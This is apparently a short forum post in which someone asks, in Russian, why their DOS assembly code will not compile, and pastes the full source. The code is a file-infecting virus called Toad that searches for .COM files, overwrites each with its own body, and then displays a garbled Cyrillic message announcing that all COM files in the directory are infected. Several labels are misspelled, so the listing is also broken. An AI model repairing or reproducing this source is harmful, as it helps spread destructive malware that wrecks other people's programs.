короче код не компилируется, ошибка во второй строке:

org 100h

proc toad

first_fly:
mov ah,4eh

find_fly:
xor cx,cx
lea dx,comsing
int 21h
jc wart_growth

open_fly:
mov ax,3d02h
mov dx,9eh
int 21h

eat_fly:
xchg bx,ax
mov ah,40h
mov cx,norny-first_fly
lea dx,first_fly
int 21h

stitch_up:
mov ah,3eh
int 21h
mov ah,4fh
jmp find_fly

wart_growth:
mov ah,09h
mov dx,wart
int 21h

cya: int 20h

comsig db "*.com",0
wart db 'Ïîçäðàâëåíèÿ! Âû çàðàçèëè âñå ÑÎÌ-ôàéëû â ýòîé', 10,13
db 'äèðåêòîðèè âèðóñîì Toad. Õîðîøåãî âàì äíÿ.', 10,13,'$'

horny label near

endp
end first_fly